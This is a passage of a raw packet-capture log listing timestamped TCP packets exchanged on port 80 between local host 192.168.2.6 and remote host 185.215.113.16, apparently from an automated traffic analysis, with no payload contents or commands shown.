Dec 9, 2024 21:09:34.678993940 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.679219007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.679295063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.682203054 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.682749033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.682823896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.685302973 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.686017036 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.686096907 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.688494921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.688579082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.688764095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.688839912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.691668034 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.692167997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.692240953 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.694772005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.695030928 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.695105076 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.698041916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.698345900 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.698429108 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.701072931 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.701153040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.701226950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.701313019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.704224110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.704499960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.704576969 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.707393885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.707659006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.707743883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.710894108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.711535931 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.711616993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.713812113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.713896036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.714020014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.714098930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.716840029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.717166901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.717216015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.779165983 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.779257059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.779441118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.780550003 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.780652046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.780829906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.780905962 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.783940077 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.784014940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.784111977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.784182072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.786647081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.786720037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.786763906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.786828995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.789817095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.789946079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.790039062 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.790110111 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.804999113 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.805224895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.805310965 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.806246042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.806318998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.806385994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.806454897 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.808717966 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.808790922 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.809017897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.809088945 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.811059952 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.811342001 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.811417103 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.813498020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.813535929 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.813570976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.813652992 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.815857887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.816399097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.816472054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.818177938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.818840027 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.818917036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.820518017 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.820585966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.820599079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.820676088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.822817087 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.822890043 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.823221922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.823288918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.825037956 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.825119972 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.825218916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.825301886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.827156067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.827377081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.827450037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.829370975 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.829521894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.829601049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.831480980 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.831557035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.831623077 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.831705093 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.833619118 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.833699942 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.833978891 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.834052086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.835815907 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.835972071 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.836018085 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.837903976 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.838030100 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.838077068 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.839189053 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.839232922 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.839453936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.839628935 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.840454102 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.840497017 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.840996981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.841754913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.841806889 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.841876984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.841933966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.842983007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.843030930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.843379974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.843427896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.844304085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.844345093 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.844513893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.844557047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.845617056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.845663071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.846203089 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.846246958 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.846967936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.847109079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.847156048 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.848834038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.848906994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.849292994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.849335909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.849587917 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.849637032 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.849675894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.849720001 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.850841045 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.851008892 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.851054907 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.852041960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.852085114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.852216005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.852260113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.853315115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.853466034 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.853512049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.854607105 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.854651928 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.854990005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.855032921 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.855954885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.855998993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.856372118 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.856417894 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.857243061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.857286930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.857409954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.857458115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.858550072 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.858592987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.858890057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.859831095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.859878063 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.860295057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.860337019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.861083031 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.861126900 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.861479044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.861521006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.862425089 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.862983942 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.863028049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.863723993 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.863796949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.863842010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.863908052 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.865039110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.865220070 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.865292072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.866292953 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.866367102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.866831064 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.866902113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.867566109 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.867635965 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.867955923 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.868025064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.869030952 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.869118929 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.869177103 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.869246006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.870161057 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.870232105 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.870417118 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.870490074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.871458054 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.871767044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.871833086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.872740984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.872816086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.872845888 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.872916937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.874088049 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.874524117 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.874598980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.875294924 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.875366926 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.875510931 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.875583887 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.876646996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.876715899 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.971085072 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.971354961 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.971498966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.971662998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.971748114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.971807957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.971879005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.973035097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.973294973 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.973354101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.974364996 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.974404097 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.974484921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.974529982 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.975522041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.975560904 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.975650072 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.975688934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.976816893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.976855993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.976939917 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.976979017 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.978095055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.978137016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.978452921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.978492975 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.997503042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.997838020 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.997916937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.997952938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.997965097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.998013020 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.999032974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.999085903 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:34.999222040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:34.999270916 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.000143051 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.000191927 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.000279903 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.000324011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.001226902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.001276970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.001354933 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.001400948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.002413034 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.002459049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.002811909 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.002855062 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.003532887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.003823042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.003895044 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.004543066 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.004632950 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.004892111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.004965067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.005640984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.005713940 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.006051064 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.006788015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.006858110 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.007167101 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.007241011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.007886887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.007966042 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.008018970 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.008089066 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.009021044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.009179115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.009254932 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.010096073 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.010166883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.010622025 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.010691881 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.011240959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.011316061 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.011403084 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.011470079 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.012432098 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.012499094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.013046980 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.013169050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.013499022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.013566971 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.013940096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.014014006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.014805079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.014893055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.015117884 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.015198946 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.015723944 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.015816927 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.015937090 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.015993118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.016730070 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.016804934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.016927004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.016997099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.018073082 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.018304110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.018378019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.019033909 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.019109011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.019406080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.019480944 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.020073891 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.020143986 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.020467997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.020536900 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.021183014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.021367073 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.021440983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.022365093 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.022439957 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.022780895 CET	80	49923	185.215.113.16	192.168.2.6
